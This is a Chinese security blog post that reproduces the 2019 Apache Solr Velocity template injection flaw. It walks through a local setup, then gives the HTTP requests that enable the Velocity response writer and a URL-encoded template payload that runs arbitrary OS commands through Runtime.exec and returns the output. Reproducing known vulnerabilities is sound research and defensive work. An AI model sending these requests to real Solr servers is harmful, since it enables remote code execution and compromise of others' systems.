Solr Velocity模板远程代码执行漏洞复现

2019-11-01 6,051

安装

下载
http://lucene.apache.org/solr/downloads.html
安装
  • 首先进入用cmd

  • 进入solr/bin

  • 1.png

  • 分别执行start solr 以及solr start -p 8984命令即可启动成功2.png

  • 然后访问http://localhost:8984/solr/

  • 3.png

注意
  • 刚安装是没有Core值的需要手动添加

  • 添加的时候会报如下错误需要手动把文件拷贝过来

  • 4.png

    • 首先在serversolr路径创建你需要的文件夹

    • 5.png

    • 然后把serversolrconfigsets_defaultconf整个文件夹拷贝到你创建的文件夹中

      linux命令如下
      cp /usr/local/solr/solr-8.2.0/server/solr/configsets/_default/conf -r /usr/local/solr/solr-8.2.0/server/solr/ascotbe

      6.png

      7.png

    • 最后这边填上你需要创建的Core,也就是你新建的那个文件名

    • 8.png

    • 最后成功如图

    • 9.png


复现过程

披露:
  • 时间

    2019-10-30
  • CVE编号

    暂无
漏洞位置:
/solr/ascotbe/config
/solr/ascotbe/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27calc%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
漏洞详情:
  • 版本号

    Apache Solr 5.x <= 8.2.0
  • 描述

    近日,国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入的漏洞.经过亚信安全网络攻防实验室研究,发现该0day漏洞真实存在,并且可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于Github以及各大安全群,且公开的EXP可以执行任意命令并自带回显.官方暂未发布补丁.
请求方式:
Get+POST
POC:
  • 查看他里面存在了哪些Core,通过Core来的自来构造POC,特别是写脚本的时候需要注意这边的值是随机的

    /solr/admin/cores?wt=json&indexInfo=false

    10.png

  • 首先发送修改配置的包,注意这边的/solr/core name/config中的core name为你在左边找到的值11.png

    POST /solr/ascotbe/config HTTP/1.1
    Host: 192.168.0.150:8984
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    Content-Length: 259
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }


    12.png

  • 执行命令,把getRuntime().exec(%27calc%27)中的calc换成你需要执行的命令,注意WindowsLinux上执行的命令会有不同,写脚本的时候要区分

    GET /solr/ascotbe/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27calc%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
    Host: 192.168.0.150:8984
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate

    13.png

    14.png

参考链接


本文作者:ascotbe

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/117281.html

Tags:
评论  (0)
快来写下你的想法吧!

ascotbe

文章数:12 积分: 190

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号